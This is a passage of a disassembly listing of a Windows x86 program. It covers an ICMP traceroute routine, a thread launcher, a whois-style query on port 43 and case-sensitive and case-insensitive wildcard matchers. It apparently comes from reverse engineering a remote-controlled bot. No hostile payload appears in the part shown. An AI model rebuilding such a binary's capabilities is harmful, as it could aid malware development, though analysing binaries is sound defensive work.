		push	offset aIcmp_dll ; "ICMP.DLL"
		call	dword_417054	; LoadLibraryA
		mov	dword_41E2D0, eax
		cmp	dword_41E2D0, 0
		jnz	short loc_409E24
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E24:				; CODE XREF: cAddress:00409E1Bj
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	dword_41E2D0
		call	dword_417058	; GetProcAddress
		mov	dword_41E2CC, eax
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	dword_41E2D0
		call	dword_417058	; GetProcAddress
		mov	dword_41E2D8, eax
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	dword_41E2D0
		call	dword_417058	; GetProcAddress
		mov	dword_41E2D4, eax
		mov	byte_41E2E0, 1


loc_409E6D:				; CODE XREF: cAddress:00409E02j
		cmp	dword_41E2CC, 0
		jnz	short loc_409E7D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E7D:				; CODE XREF: cAddress:00409E74j
		cmp	dword_41E2D8, 0
		jnz	short loc_409E8D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E8D:				; CODE XREF: cAddress:00409E84j
		cmp	dword_41E2D4, 0
		jnz	short loc_409E9D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E9D:				; CODE XREF: cAddress:00409E94j
		lea	eax, [ebp-10Dh]
		mov	[ebp-2B8h], eax
		push	dword ptr [ebp-2B8h]
		call	dword_417244	; inet_addr
		mov	[ebp-2BCh], eax
		cmp	dword ptr [ebp-2BCh], 0FFFFFFFFh
		jnz	short loc_409F18
		push	dword ptr [ebp-2B8h]
		call	dword_41723C	; gethostbyname
		mov	[ebp-2C0h], eax
		cmp	dword ptr [ebp-2C0h], 0
		jz	short loc_409F06
		mov	eax, [ebp-2C0h]
		movsx	eax, word ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp-2C0h]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-2BCh]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_409F18
; ---------------------------------------------------------------------------


loc_409F06:				; CODE XREF: cAddress:00409EDDj
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409F18:				; CODE XREF: cAddress:00409EC2j
					; cAddress:00409F04j
		and	dword ptr [ebp-4], 0
		mov	byte ptr [ebp-2B4h], 1
		jmp	short loc_409F33
; ---------------------------------------------------------------------------


loc_409F25:				; CODE XREF: cAddress:loc_40A19Cj
		mov	al, [ebp-2B4h]
		add	al, 1
		mov	[ebp-2B4h], al


loc_409F33:				; CODE XREF: cAddress:00409F23j
		movzx	eax, byte ptr [ebp-2B4h]
		movzx	ecx, byte ptr [ebp-0Dh]
		cmp	eax, ecx
		jg	loc_40A1A1
		cmp	dword ptr [ebp-4], 0
		jnz	loc_40A1A1
		and	dword ptr [ebp-2ECh], 0
		or	dword ptr [ebp-2E4h], 0FFFFFFFFh
		and	dword ptr [ebp-2E0h], 0
		and	dword ptr [ebp-2DCh], 0
		and	dword ptr [ebp-2D0h], 0
		and	dword ptr [ebp-2C8h], 0
		and	dword ptr [ebp-2CCh], 0
		and	dword ptr [ebp-2D8h], 0
		and	dword ptr [ebp-2D4h], 0
		jmp	short loc_409F9E
; ---------------------------------------------------------------------------


loc_409F91:				; CODE XREF: cAddress:loc_40A04Ej
		mov	eax, [ebp-2D4h]
		inc	eax
		mov	[ebp-2D4h], eax


loc_409F9E:				; CODE XREF: cAddress:00409F8Fj
		mov	eax, [ebp-2D4h]
		cmp	eax, [ebp-8]
		jnb	loc_40A053
		cmp	dword ptr [ebp-2D8h], 0
		jnz	loc_40A053
		push	20h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-2B4h]
		lea	eax, [ebp-2CCh]
		push	eax
		push	dword ptr [ebp-2BCh]
		call	sub_409CB1
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A047
		cmp	dword ptr [ebp-2CCh], 0
		jnz	short loc_40A02F
		mov	eax, [ebp-2D0h]
		add	eax, [ebp-2C4h]
		mov	[ebp-2D0h], eax
		mov	eax, [ebp-2C4h]
		cmp	eax, [ebp-2E4h]
		jnb	short loc_40A013
		mov	eax, [ebp-2C4h]
		mov	[ebp-2E4h], eax


loc_40A013:				; CODE XREF: cAddress:0040A005j
		mov	eax, [ebp-2C4h]
		cmp	eax, [ebp-2DCh]
		jbe	short loc_40A02D
		mov	eax, [ebp-2C4h]
		mov	[ebp-2DCh], eax


loc_40A02D:				; CODE XREF: cAddress:0040A01Fj
		jmp	short loc_40A045
; ---------------------------------------------------------------------------


loc_40A02F:				; CODE XREF: cAddress:00409FE5j
		mov	eax, [ebp-2CCh]
		mov	[ebp-2ECh], eax
		mov	dword ptr [ebp-2D8h], 1


loc_40A045:				; CODE XREF: cAddress:loc_40A02Dj
		jmp	short loc_40A04E
; ---------------------------------------------------------------------------


loc_40A047:				; CODE XREF: cAddress:00409FDCj
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_40A04E:				; CODE XREF: cAddress:loc_40A045j
		jmp	loc_409F91
; ---------------------------------------------------------------------------


loc_40A053:				; CODE XREF: cAddress:00409FA7j
					; cAddress:00409FB4j
		mov	eax, [ebp-2C8h]
		mov	[ebp-2E8h], eax
		cmp	dword ptr [ebp-2ECh], 0
		jnz	short loc_40A07B
		mov	eax, [ebp-2D0h]
		xor	edx, edx
		div	dword ptr [ebp-8]
		mov	[ebp-2E0h], eax
		jmp	short loc_40A090
; ---------------------------------------------------------------------------


loc_40A07B:				; CODE XREF: cAddress:0040A066j
		and	dword ptr [ebp-2E4h], 0
		and	dword ptr [ebp-2E0h], 0
		and	dword ptr [ebp-2DCh], 0


loc_40A090:				; CODE XREF: cAddress:0040A079j
		cmp	dword ptr [ebp-2ECh], 0
		jnz	loc_40A165
		push	2
		push	4
		lea	eax, [ebp-2E8h]
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp-2F0h], eax
		cmp	dword ptr [ebp-2F0h], 0
		jz	short loc_40A115
		movzx	eax, byte ptr [ebp-2E5h]
		push	eax
		movzx	eax, byte ptr [ebp-2E6h]
		push	eax
		movzx	eax, byte ptr [ebp-2E7h]
		push	eax
		movzx	eax, byte ptr [ebp-2E8h]
		push	eax
		mov	eax, [ebp-2F0h]
		push	dword ptr [eax]
		push	dword ptr [ebp-2DCh]
		push	dword ptr [ebp-2E0h]
		push	dword ptr [ebp-2E4h]
		movzx	eax, byte ptr [ebp-2B4h]
		push	eax
		push	offset dword_419594
		lea	eax, [ebp-2B0h]
		push	eax
		call	sub_40D53F
		add	esp, 2Ch
		jmp	short loc_40A163
; ---------------------------------------------------------------------------


loc_40A115:				; CODE XREF: cAddress:0040A0BBj
		movzx	eax, byte ptr [ebp-2E5h]
		push	eax
		movzx	eax, byte ptr [ebp-2E6h]
		push	eax
		movzx	eax, byte ptr [ebp-2E7h]
		push	eax
		movzx	eax, byte ptr [ebp-2E8h]
		push	eax
		push	dword ptr [ebp-2DCh]
		push	dword ptr [ebp-2E0h]
		push	dword ptr [ebp-2E4h]
		movzx	eax, byte ptr [ebp-2B4h]
		push	eax
		push	offset dword_419568
		lea	eax, [ebp-2B0h]
		push	eax
		call	sub_40D53F
		add	esp, 28h


loc_40A163:				; CODE XREF: cAddress:0040A113j
		jmp	short loc_40A187
; ---------------------------------------------------------------------------


loc_40A165:				; CODE XREF: cAddress:0040A097j
		push	dword ptr [ebp-2ECh]
		movzx	eax, byte ptr [ebp-2B4h]
		push	eax
		push	offset dword_419540
		lea	eax, [ebp-2B0h]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40A187:				; CODE XREF: cAddress:loc_40A163j
		mov	eax, [ebp-2BCh]
		cmp	eax, [ebp-2E8h]
		jnz	short loc_40A19C
		mov	dword ptr [ebp-4], 1


loc_40A19C:				; CODE XREF: cAddress:0040A193j
		jmp	loc_409F25
; ---------------------------------------------------------------------------


loc_40A1A1:				; CODE XREF: cAddress:00409F40j
					; cAddress:00409F4Aj
		xor	eax, eax

locret_40A1A3:				; CODE XREF: cAddress:00409E1Fj
					; cAddress:00409E78j ...
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1A7	proc near		; CODE XREF: sub_40A9CF+FAEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A1C7
		push	offset unk_419618
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1C7:				; CODE XREF: sub_40A1A7+Aj
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A1E0
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1E0:				; CODE XREF: sub_40A1A7+32j
		push	1A3h
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A3h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 0FFh
		jg	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_40A231
; ---------------------------------------------------------------------------


loc_40A22A:				; CODE XREF: sub_40A1A7+63j
					; sub_40A1A7+73j
		mov	[ebp+var_10], 1Eh


loc_40A231:				; CODE XREF: sub_40A1A7+81j
		mov	eax, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_10]
		mov	[eax+2A3h], cl
		cmp	[ebp+arg_C], 0
		jz	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 927C0h
		jg	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_40A268
; ---------------------------------------------------------------------------


loc_40A261:				; CODE XREF: sub_40A1A7+9Aj
					; sub_40A1A7+AAj
		mov	[ebp+var_14], 7530h


loc_40A268:				; CODE XREF: sub_40A1A7+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_14]
		mov	[eax+2A4h], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_40A288
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_40A28F
; ---------------------------------------------------------------------------


loc_40A288:				; CODE XREF: sub_40A1A7+D1j
		mov	[ebp+var_18], 3


loc_40A28F:				; CODE XREF: sub_40A1A7+DFj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[eax+2A8h], ecx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_4]
		push	offset loc_409DD0
		push	0
		push	0
		call	dword_4170B4	; CreateThread
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A2C7
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A2C7:				; CODE XREF: sub_40A1A7+113j
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40A2D0:				; CODE XREF: sub_40A1A7+1Bj
					; sub_40A1A7+34j ...
		leave
		retn
sub_40A1A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2D2	proc near		; CODE XREF: cAddress:0040A4D4p

var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= byte ptr -1114h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 111Ch
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset dword_41966C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	2710h
		push	0
		push	offset a43	; "43"
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A339
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A339:				; CODE XREF: sub_40A2D2+5Ej
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	offset aS_1	; "%s\r\n"
		lea	eax, [ebp+var_114]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A38F
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A38F:				; CODE XREF: sub_40A2D2+ABj
		push	1000h
		lea	eax, [ebp+var_1114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_40A3B5
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_40A3C5


loc_40A3B5:				; CODE XREF: sub_40A2D2+DBj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A3C5:				; CODE XREF: sub_40A2D2+E1j
		lea	eax, [ebp+var_1114]
		mov	[ebp+var_10], eax


loc_40A3CE:				; CODE XREF: sub_40A2D2:loc_40A492j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_111C],	eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A3E9
		jmp	loc_40A497
; ---------------------------------------------------------------------------


loc_40A3E9:				; CODE XREF: sub_40A2D2+110j
		push	[ebp+var_111C]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40A41B
		push	offset dword_418F4C
		push	[ebp+var_111C]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40A442


loc_40A41B:				; CODE XREF: sub_40A2D2+131j
		mov	eax, [ebp+var_111C]
		lea	ecx, [ebp+var_1114]
		cmp	eax, ecx
		jz	short loc_40A440
		push	offset dword_41965C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A440:				; CODE XREF: sub_40A2D2+157j
		jmp	short loc_40A458
; ---------------------------------------------------------------------------


loc_40A442:				; CODE XREF: sub_40A2D2+147j
		push	[ebp+var_111C]
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A458:				; CODE XREF: sub_40A2D2:loc_40A440j
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_1118],	eax
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		cmp	[ebp+var_1118],	0
		jz	short loc_40A492
		jmp	short loc_40A497
; ---------------------------------------------------------------------------


loc_40A492:				; CODE XREF: sub_40A2D2+1BCj
		jmp	loc_40A3CE
; ---------------------------------------------------------------------------


loc_40A497:				; CODE XREF: sub_40A2D2+112j
					; sub_40A2D2+1BEj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		mov	al, 1

locret_40A4A2:				; CODE XREF: sub_40A2D2+62j
					; sub_40A2D2+B8j ...
		leave
		retn
sub_40A2D2	endp

; ---------------------------------------------------------------------------


loc_40A4A4:				; DATA XREF: sub_40A50E+A1o
		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3A8h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp-3A8h]
		push	eax
		call	sub_40A2D2
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40A4FC
		lea	eax, [ebp-2A4h]
		push	eax
		push	offset dword_419698
		lea	eax, [ebp-1A4h]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40A4FC:				; CODE XREF: cAddress:0040A4DFj
		push	dword ptr [ebp-3A8h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A50E	proc near		; CODE XREF: sub_40A9CF+FE3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A51D
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A51D:				; CODE XREF: sub_40A50E+8j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A536
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A536:				; CODE XREF: sub_40A50E+21j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A562
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40A586
; ---------------------------------------------------------------------------


loc_40A562:				; CODE XREF: sub_40A50E+3Dj
		push	offset dword_4196D4
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_4105FB
		pop	ecx


loc_40A586:				; CODE XREF: sub_40A50E+52j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4196B4
		push	0
		push	[ebp+var_4]
		push	offset loc_40A4A4
		call	sub_4095A4
		add	esp, 18h

locret_40A5BC:				; CODE XREF: sub_40A50E+Aj
					; sub_40A50E+23j
		leave
		retn
sub_40A50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5BE	proc near		; CODE XREF: sub_40A5BE+32p
					; sub_40A5BE+70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A603
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A5DD
		mov	al, 1
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5DD:				; CODE XREF: sub_40A5BE+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A5FC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5FC:				; CODE XREF: sub_40A5BE+28j
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A603:				; CODE XREF: sub_40A5BE+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A614
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A614:				; CODE XREF: sub_40A5BE+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A63A
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A63A:				; CODE XREF: sub_40A5BE+64j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A65B
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A65B:				; CODE XREF: sub_40A5BE+85j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69E
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A67C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A687


loc_40A67C:				; CODE XREF: sub_40A5BE+B1j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69A


loc_40A687:				; CODE XREF: sub_40A5BE+BCj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69A:				; CODE XREF: sub_40A5BE+C7j
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69E:				; CODE XREF: sub_40A5BE+A6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A6E7
		and	[ebp+var_4], 0
		jmp	short loc_40A6B6
; ---------------------------------------------------------------------------


loc_40A6AF:				; CODE XREF: sub_40A5BE:loc_40A6E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A6B6:				; CODE XREF: sub_40A5BE+EFj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A6D4
		mov	al, 1
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6D4:				; CODE XREF: sub_40A5BE+110j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A6E5
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6E5:				; CODE XREF: sub_40A5BE+121j
		jmp	short loc_40A6AF
; ---------------------------------------------------------------------------


loc_40A6E7:				; CODE XREF: sub_40A5BE+E9j
		xor	al, al

locret_40A6E9:				; CODE XREF: sub_40A5BE+1Aj
					; sub_40A5BE+39j ...
		leave
		retn
sub_40A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_4097A7+10Ap
					; sub_4098F3+155p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A730
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A70A
		mov	al, 1
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A70A:				; CODE XREF: sub_40A6EB+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A729
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A729:				; CODE XREF: sub_40A6EB+28j
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A730:				; CODE XREF: sub_40A6EB+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A741
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A741:				; CODE XREF: sub_40A6EB+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A767
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_40A6EB+64j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_40A77D
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jle	short loc_40A793


loc_40A77D:				; CODE XREF: sub_40A6EB+85j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 61h
		jl	short loc_40A7BC
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Ah
		jg	short loc_40A7BC


loc_40A793:				; CODE XREF: sub_40A6EB+90j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		xor	eax, 20h
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A7BC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7BC:				; CODE XREF: sub_40A6EB+9Bj
					; sub_40A6EB+A6j ...
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A7DD
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7DD:				; CODE XREF: sub_40A6EB+DAj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A820
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A7FE
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A809


loc_40A7FE:				; CODE XREF: sub_40A6EB+106j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A81C


loc_40A809:				; CODE XREF: sub_40A6EB+111j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A81C:				; CODE XREF: sub_40A6EB+11Cj
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A820:				; CODE XREF: sub_40A6EB+FBj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A869
		and	[ebp+var_4], 0
		jmp	short loc_40A838
; ---------------------------------------------------------------------------


loc_40A831:				; CODE XREF: sub_40A6EB:loc_40A867j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


